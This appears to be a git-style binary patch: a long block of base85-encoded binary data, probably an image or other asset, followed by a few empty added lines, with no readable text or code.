zJIf?_@~{8(&j0nV{uK_M-UI#lFJEZ@@F#!rC()fdckbT2zW3H-G<=P5w#jXbU?VMlxV0M5rcTUb7
z^9>;r2?Ais2SaJKqB1;Nw#MGC0X`S7*FvAS{>x-HnET^CR%AVWzV;4?9xHnx}qB$<6N(yzAOB99J+S$a(!6|0hF;L3yxsfqw4p-*>L$uVkrkI-^1lGC+
zEzN{8oLJ{Fx0lntzB=x%0Sp|vyJf}H56TKFj6%Ws!URk$F@?#tzZCaiy*lQuW8jvH(AzGNtIBJ
ziDd7qriX(}()B1rLO{clfR3s7f1X!Jvz&T-lto5>hjWi|d1?@HZF_)kzOV-@4>1^o
zxN_?i#G|R5jCcu)VLLeUur-~Ge*Nav-Q?lT$BQ5Q;0OQbzxg-+W_4*hzvSgBn*@08
z-aY@>7hZV&#oO2a$?o>XcLOiD_YPetHIFI_{f2VZNC&R8Q7E
zGicA=3IUS^u)kx*Hf-S?Tg$%Les7q-_HNN*9~v4|cM_ydUTEXI=2kj7;9Wnn*Ty?#
zM(5o|=5QtEHE53)t_$4x=b5`%L(o`oiuG@#%X~P$y)c8|f)HHr=$&!ray#p^V0sWs
zcP}cQUf=p)D3bv#?JZ#_!WrY8%Zz+42q-3gdU!~k`0Vkik56Xq*PdySmsrl0%
zlFOk~mxR_7WP$)e5csGnhKEn)IG(LglsS3%l{yBZ)K%_5UKV8dYfqnY5>U00$<3`W
z=N_GS*WP?BcvNq*sJB_<^va4%h8405t0cveUMpf2mPvvnNs(lU{4PzgNK!1831;&p
zPG?J;oGx%YTi|5A#B7;hxvJOCkroBAJV#P*ca@+jQe4>@;KgUQFdc9d$&6%?YXIN{
z;rc3;r?s>|$m5(11JBxW?`ftj0F2nePVxB?qF?`bZUm4AH&`dhrE!eGBTj^7~*4egVuzI{R=9*38
zm|&ODG~3l~cjJCLS=H-L(=x&?XTXfwYneUNb_{I#iZ_#p=m3bmJHtBrg<-%u7qnTo
zITrI0nBYY>F=FeCf1h8@daQZJ6}IyW%&Lm>hMwUiJ{{xVv+=e2W{vS@=U|UMu86rw
zlnsuoWVJ{*rgpS)Oqkcq1S$$Zs%n7RGhCdWVmY5nc1`cyyso-!vJhCz7AVq8j=)B{
zpIJDMHAM%q--4hQq!Fx*9B=Xz)w}v}Q?ba~b)IybkfAJ6Wa$!~A7L=w
zpj?tm4Fy>LAbo&1j-ru3wF2YsY;SMRzKZ$)UpWA9@7_IL6v6f9p1Jlrcb>iehm+Cp
zn~brJ)bHha{<_xxF;V|sx#&-->vN-o>j@hm#RUMy16Zi+VVz)P?ngdc!YZ|69hqLE
z@4H@yv$kh?&oRO^N=71-dv4m3kq@{MC=psTNOZ4ZgDIGed8~$ZeE`4(RgUpuu9(#o@LfrI%W-KK|sY10;&#ZpZk`M_XCc+DDnQsr&z4Arjnt#zXmhX
zFh072q82{lyt$^}rZ5q=!GH;l(6TJKCdkuSVsSdBk7{qgq$HV@e{Sok>vIsM?mufM(Y0=Pb2_Yj
zm;no|8`whcxeW(!U)3FpHUnH;CuRZ$*hbkw*@g!N+d>&+hG`f&6H@Q**_u1sIr;vN
z4R1&=16;U?UA-m$ecS9SOI)`+4dV|R7@f8H8N0I&*CN7Y47$GmH30Aj&NQ=z1*q3o
z@!=W(qzfgVZBXUS{iHtmobm@|Co^IJphbM020~0F4tjx);dF?ttJ~PRwu`N+JDBco
zVY;`0$?g>6-3dnZYiC0L9&b-D+MZyzHO63Lh#(G{vN>vttd6NR=Fu?5_Vs=2K64G@
ztqt#G1pko-3LFc{(;V>T}Yb;PWg)>UHlh1wY-Gk!spajT+qZJO0
zm((vngI{hKa?bUf$SniUbT13H6Q#-enV_n@sLdSGR@pdUgSCo^QrwBRO{9#!T>&5o
z7(@e5JkGJVIlyncdE&X830n~=LkXi
z9=!5cWfrRfH#-x^@p_C_vqIPHdg7wD#tTWf%tuO;Q)^%CGwcew%e#|bs?kBMSXDtTG66o%7
z{Sh$x%K2_p8(W|(^F&L1W77kttw?0033tS1Upx+VR3SdY&nx<
zd>nQGDI*dVo+P@!zQ
z`oR?P5mZJOCmDDU;8;9CI$KDFOIiUk>RbCenC@;<%-s(qlQBO&Ax#3$^AS#BOloit
z_^8SP>2ig1wnVx}kg4Zawd$8wni_GI$QCKmK_*KAIakk3*--nFaflahZQ+BDPw?^K
z3T;aw*4!WFgu^;xjr9QVoEWE(8Dn#$9%(+HqkG#&T+WpOE9=kpFv_rJCnH$|uk+B+jkyZaL
zX>sIZsW_g4M^nHbsqhfmQaH0>g|)$YVgWeAYCgkqrquyqg~^(PKhGm0u$(VRt&f?{
zm7>>cZ=89YjQn!7#C)-!&_Pj@(0zG?S*6(g-fI#RIhQr{wfRjKE99$$N)e&&r{rYOLpkvRHM0TiTKr|X)v^haE9v~RR@Inbb>f@+?Q&laKXx5)g0V0kd3aJ#1
zan@G-s7!x9@Nsmq!oks!YUyDxQ~KInGrSPeg1b|dHMN2*xBBA#rOS*S@L(8#vhdNzkr`S
zfS-K?jsmj5;F|Ii2Aj@zx7*VQ#59a;<`R&n83BM~xuPuT8UW-hR&5qfkrrhasmot;z#FLEyKi^^%)$z(YZ~{F}nA{
zVLQ-sKdgWET$8@F4CBQZ@4e0EEgjHv?(kiUa2$`${Ky=KE?6{IUjqWpI~@a@F~#h(
ztQRN*K<$F9TmV-)g&A7@vPn>prI;NZk;TPKX
zJueCpzNy#ER<$9|P!4JE0CPbk3zGLk5UHFX#u0E}3L`aCEXf!T3#Kk$%b0uLY0
zuuKZW(}qQfn}F3a#^>JT&fPM?0ycneGH_h1V1*{_@v2z?W{gFT1LJ{@mv3+3mFG6;
z-`2nujIM2w6-bvUR#R9$`VZ60NfQfaOhNrhU`2fD}`H_GqvSRkDy}iGG_@f{F
zyRU>m&{qNgeD8bT3%+sp#jm~ojhFt(GdK4Cb{Gab+@SuSuJP|Ktjgdgze14w0=!D8
zMJ{Wy-rJ=yovg>3GZf17q{*xt0JKjF=MBAIPj1Hthse^r8OycDAibEJ%7KE=Z(?hv
zHn%p++
z+y7J6Q|r;Q1839S^V5yj*%}@
zS?r+CTL_XOP8TaAiv_Y(qKv;{2~@%#_hq>w3FUZF<&L^nrWx`ilhVMV3&`r@B9B-B
z8O^@w5$SO$;4@p~czm>wxd6<$^F}Cu^^T`LFx*+mm^bXt`|yJ`>a1KsyQ~t=PZt*
zV8off48p_r-+1GV)BE@Df9XR3UjYDckN^JfZ$10Q8?XG{i_hKs-Qg&{#lRvH)n1_Y_0A4{2EqP8Px)T{yAjo({aHe$#+K4}5~VWM+Y(?kh?r*j+~9LXN{dL5w#
zf07|fGua9^44O8l)`Z-0o6YsI3}oN2=`(Rc0PZ<4Bd4J`b;i2=&5h~+)(Dl9?LN(i
z$=V0E@6B4{59_zgJ_#5%>5QeHGVJ?R6JNFx3|V)VFe&zR=JkTczlW7te;(_$(U)*|
z_8iqhAkp2vb?D6bOo7k(-HXA3iR>kzx7C0^y)6^`dX)WMuQNM3M4n}GJNmgX&Adt!
zs|~?&wxoEyW&!j)tqtdRYf2Qn=Xqr8tD+zpzxKST*-w&DF9A_hBrZfprkf1qIg0rT
zvyYFkJe&~|U~1V{s^H88w=nNiJFavn
zz>fp^oi3EqOh8Dge;z)3Br5{+*mRAp{cN0h>-&vA`T@YX+hH~sFvp7(0${S=!gLhi
zwY$4`@tF<85o>a-WS#-1#!t0Vw3?@q$;stCO_vMmmoVAh#b7+?X`6gm3-f*MjeVaF
z(=WklQ+|G
z?HOdMn_2xEKMYhGQhVP*B?mT>e~S+6_`PM2(HceOxO;kCrP?xC=?+dAv`&pVuTp4u6U
zzAkI_Bea)$fz7a<`M*>C=)4Q~KrjL$7JwVy3x@?@R;R$)W2Rhy`AjwlGW8xb1Hfdx
zd~L|*Cv)<|c{2tirC)p8qm3~p+Z&XzPq_m|?|}L}SDgUKkWk~E3RRXPUnEFR=2#w_
zVDV%|#)drd=8Cke0RibsmkPGIEBYCy1j$k;j~+@2mm^ywSj`rwa-Ga;d+MSk5J?!w
zkK{8h4Dcvc%leFhai})n5jMc|A_4(5c(&K6?8FKK0Mz5S_NZsa$5ivpgfNl;(cEjz
zdM#&5B#V_XT3I9W8;)X3cQz?mFBnARO`|Dd5wgv1UNo;NE6CUI4lI>5{XyteU&0_{~%(RtPTC~GfvwxHv#302c;8Ypi2#W&QYDt|ECp)_cqWDrBMe`ImV^I+JgDfx7@-+MDU;M?N
zAAKG>{|{>wVH`>c
zQ76{l$-gm-x1Pb9$%~x@0CWkLj^nE1GPJ;(bsZHkDL&#$Fh#pGrGp*s8nE`s(8prH
z{w-V`gio{d8$xCPBZlsMZhyYckX{rJhz@YHKVP?xp6g;_Ix8F^%wHMXU4K-p^A8tP
zu%2U=x&Wl>9}JW@kP1@?hXoKi4B)9;09oylEa$`o)ZQI4vd;DTl!>pr`sL|@ym)4e
zA*$a85KV@NCjjRp~dFr;;hyrildGS0a)&c!N2zRHRA*X?`t_-v$fIcwSo
zGYh!(0Ot}C0AxAk5+w5#(s?4cFYG2(4S3MEQZ*X#!$7hCHHJ~`g=>W2`yS#r!hDgF
zE@3nPIm|^_etp8p=pqa+j0dD7`j`43tQ51N%bA5teySs;tkq@p0
zFf-&Di@d^Wp3tkv3fT`r*xM=61j&4ca4^JlcaKT~FO@BB-#yRw;z1m8kMsB5_|~@`
z{Ka4V#h12i@Rt?<{NM+FJb3-}=f3&PuRs6x#)hQ+HRsOQ8A$diEUe1lW$z(a{D0uZ
zi6Qe_d;PI|F(HCHvvuC>IYWHR+&kX;)vE?
zQ7g}Sa+5mZ%!rR0$EWoHboVvmc$gKx?;7KVmu&1VR{((9>#1wNjK@=G`BxsOhg*4q
z_5q;3NbL;g|D%#!Btw}C(0X-7E*sZK&LSU)r{IY7}`T9z#oE_oS
zpoWuzU^tA)F!R7`!h3M~0#HkBfo8ik$SAU00uG%pi1wTs9Ig$Z(&MMfhCxX0Bx-DA
zBnG~RN^l$;E-_zbt;g+v*7YF3xQ!Q`Uo9f)B8jBV_*eJI;|zOSFO~|Vkw~s*0YUsXj!JTz|AMDakyKgT|e(xn&Ifl5t3D=RcmcH?tW=Of8q
z#+2fpipN)qsc2GLB+~`ogBJ%REj-=dmiYzaSjq=SfuiWOW}p)uP)-3!1}pI)c`U7B
zpFIkUd;p~ms98R`kLtN$Di@#zO{epW6aur-1oq6DL)H#qBNxdE9bCk;UjR4=0Y}S2
zf|Nnz;qJ2=c;(JECIi2j6XpLnM8#3$g0lWs#F~_CYLx~Gx{b0YI}v7y%)^`R?jstG
zT8HQo7bSG)bH-xzh=v0N0yJ$Z9BSSGAYgVTfA52@gBrp(
zZbk2R;{U=b{WlI?3Rmh;AZN
z`%ia6J=W9mY`ODqPvu6a7PRDIs$5+)Fo&h4f=9u6Bh~_*jps4?D?|*CbAS(ih1qfQUzy(~a1pxK_q~K49`SB65
zbk!OLZm9ArU4Z(#WSI~MKqahHI#LP@Jw&63%IUO$mWk!EWRO!F9aI@06bNYUX}wR6
z6N3;=2AJ$`lLYYQ?l!RqGC?mu5Qh|hh9}kP=;fTEXv%^`;}m#-FB5rv4{dH46#Xrq
z-R3feKFJevqapw#48({9$P0mokLQ>X3m`0D+)H2?1KN$SbqO_g=1^CMdcj5B!y1oW
z-5KDUFYJ=&kMC(c2W9*Pqb|{TT9EP2R(T83n7;oqA+)}ZO^!s769@?70hI=Zaojcr
zdy0z=#TuV@zVF3>?^i`$z5n9Z{?5ZMqd?G?4gh@r`+pL>{POnKUwq-Yf4H~3`CE)(
zml=2LGBf|Fw}0~22$nym1VD2Ug43j1doaukd!8HL6NMW)|}J^v?#G$tY|U};|TFE?xDamMQ`q#cQX0y2i^^9
zsKhL;SOD&Dk9
zv@cJF4dTfNTi5ro*J%HH$g&h^vZ9u}wE>ETu@s~6m;@PGx>~e}vrXEX$Edt7nnoCG
z)PP-uBdU_h-JHOS{F^fZ8(L9N1A4}U>a*|TWRctV*y)E_24T`*;6xe!j@X
z7s=%eV;`?Pw}qFV+rl{Zo6e59Uw|khIEms*uTDKP=?DJy?cx3V_rFvEL0`6B0PNYj?D~zX*M4_<
zYw}y%WBUx3Wy1ci0{{Sk07*naRQz4)KZBQjM4mq{kF7zjt2`Pn4XrV@8UY#~FfGID
zJS1yLG-lJjL|>&j#Uq;>DdWh^zUO*Ep*UhCBq-n@;PB|9#}p&X(iB&2>?0ly8V`+1
ztH2uP+cKhkzILZ#Ku>B|6RmfywWUeGt^V**ENG;>J|C!-O{w68XPUK~CamMOrcx(n
z&w7v9T&0^BDJ;s}sDyB6_*Oj1vvMo!a>6dKWXuFWZYZHI{A7=%_D{#y3iEGa40d6I
zH`tpI!dZ9SOY8hsxk?%(^%jWa6wDt3o^QC9%m&Q$`qU$!q>6yrgWKM}f`f-2U^P3I
z33D{?DhbX}ug^$bZ?rYRXlsgenNWNK8<1ZWJkeajPdRkHm>ZEyls;AFt4_kOlAK#1a_N`ZV;AepDMZ7(pmDgvt|reluhZcOpu
zy+b@YS~dxWO#`du?h45;tRdFiA^B8nzOhlpq$a}k-4R}RW{T<1qxQdM1w?%tr16)c
zKXm=7R_2@%MtzQO7-BGyjhpIwSEM#pRi
zLTruvo8Eb#-VN`c2R-2k6~Z92>4OC^;74};L5C$`Mp>ZjB$q6dEC)kEE9UFho2ZVY{?I3HlPYpNF0=Nv_g_CQ<^X24(?tq2?K{-iOb~^Ow!QDl(u{Y{M9y949zDNk||^cCC?sDG@Y?gwvz)2`YT#fU
zj*tmW^>>T;k|u`Xa3~Xq8YY7oAi$`@Hy;oIhx*q}siyJGGAL6a&;&@rF+{K!2Tl2E
zqa%esDkUvj+4rUI+8fuei(Q1>b4)nivO&=@BS;{p7$2fGbY#>OC9jg%Y$`o!4ZAkz
z%x`1prXlZy5Bi*fKJOkKK;(j!&U&ohLuV#w;(GkBfrAyM>VOCC{M!Z(Z5YIBpPl-8
z)&PL{24FVF3u~Do1uVJmQ+EF;`={nUTcHT6C0Zx2cJ@9K60
zpQD{8RL(=5m6)F_DfTb2$_UA+_&=8+lz2R#{0`4(ncn1vP@YtYJWDVbPchlrz4X#R
zG(H~-JkE!LTDv4a|IOe0jl(aCOz@W`1hDbU#`M{%*M5Cxd*grbJ^l;?qRY8Cj`v@s
z;OU3(Ru90+xjm`sY*nF?l6=EULJx%u!^jyiWQP8Ddb5Jv)4%>dCG@2k#SbmOU;qtf
z*sh|eq+D>5n5S0bXc}jn9?$ULrw=GbdgJyDjHjdC2S7O9hK}_Ewo%u~f+nLOEDG4Q
zRgPCqm&%>om@=Bw>|7?ql?w^XL}8>{nubaknHQ`%3K(lx6t}Q{D-FH8ucC?J>t5y_
zQPtdxcbf*iIUOfX)104UxP`cw*CEg~^v*GN2A>NA^g!sHYM7x;<8I10#s>fCQY`bg
zE{N&dhdxx5Jb$sF^8Q%pS%yavOSpqPKXesZ!Pksfo*3dLq|((m`F
zIoIjoA;p$al+Xg)qTY_kk<1dJnLRI{jQ#r9gIHD%`LQn<3`+cy&5xL;^JrwZKfwg5
zKH^LzE>e@Byr4!xQRWlC@I9FWz#)OaFygrV%mnW~+{7X|k>Wr^uggq%W_tY&YuV;1
z7(3^%v${x8{+^$4UQ_^>bT_&Wi&`BD2mF0Alfe}Y5tQr
z9#Wq{CT!OCR`+2LMS-$d;p1QZ1k;^;?A&+`{w22#R;L_9k$?5-{_eM5cwzqkJa|xk
z0O0gecY49)O924>^iTgZxUzfY#;s>>ygnWdZZXc|4%@^oz$=}*IL2QT;MoEE)dOnr
ztBZErIa>}^uc7{pE!f76x%+9o8M`#C=dg@e>Mp@A*AuIsxINK
zB~i7ZU(8o{?^hqvzpp=g6{E>WdO_5&Pgo|jLkPNtLYE6VnZ?p}3ESuz*G!m3**ZDn
z?8s{jl>y-pB?rot49|$t06BWwm0^&bxTZFy27@6Q?^2h?$qaaAWW6&phR=N?3!b$}
znbr+7#)9RYn+6$cG$YVmzgO(14;1wM&3XWc@f}3Z=6hHMVFCfsGwb(cd^eN5!zR#r
z%E(u_1OddR#4P|6%sxjgI7NnsBaTPdy?PBNhX8Jx5H$#OJpIT^-rxA?XvT-)FSuI>{fIpo@J
zp+rUXSd|7FRj=#$KEfzK=A|eL(Ov;P6e(9CN0y|B^N2u2!*F<9KIQx
z{3S5~NRd7GvCtHm0LzZ(Q4Zvn;c}`nUh~-~RZY{j-1eg=+(R82|v|
zoL{-JyYcPmbo3hcysiGw#M4G;f;@gNeGgv#F;F>S8PR6n$_5mEqjI;l#HDBcY|(N*
zE!{d9?PMd9UUHPBEg-dym7}`ls_IGHVyaBWW)QM0!{Os2>LghIt_A^N7|2+@XeTl~
zDZy~!8W3PH5q)d{x*mjcd6;vtm@%`+>%wIWxp5*-aue$aW
zMd1h|4?e}Z>tS01452Q$K%Q54{3OTmydV*#AmU995i=T*F&KG8?JQ)C!FE`S<|_BE
zug}P4H0|-sT9QWqvsH=1(+tINsPnG@KwBjGi(J(0x|vc6r|B-uCu4vNU_`zx>yqeFWgi
z`iJrJS-$WbfP44;ba?C5_M6Y#xcZN$lhLnp#bAJNvxOZeB5?F!*-jWm)0)=mfLbyj2Kua|gH<(~%jn
z$ttCO=bgFMe9)E9NEk&_3Pl~YGMVsLg8^B8%xsU%)p$1?L*3@IssA_6%}fC7xD2fG
zUpNw_?RTs(+M+2bQhhuWjmMqhSvti4Vu=hQKLO42jR*cvb2iEYC)rjDT(
zJ?O7@ae*M~{;tnpu0vAxO3r3k*H!zZi?yBgTk8M(0{gA6Ho7!3zKFmot2DkfSIm9ZhN-)GyU_k?ZS3jfv#v
z^5q%t#_v3jN(||p>%Y0`Zs^fFwR2V_nN*&~)w}04pSA7FW%x1<8LsTahy$6>*rpos
zrpHK`m!ydzl(>-v(A3&~=+WF(Z(kT=sL2UX63)~CGEK?&$Kwq;$EODZ)_`>?c;I0r
zfaBA}lUHAT^@IEO?|-2(!Cxo 
+
+
+ 
+
+
+ 
+
+ 
+ 
+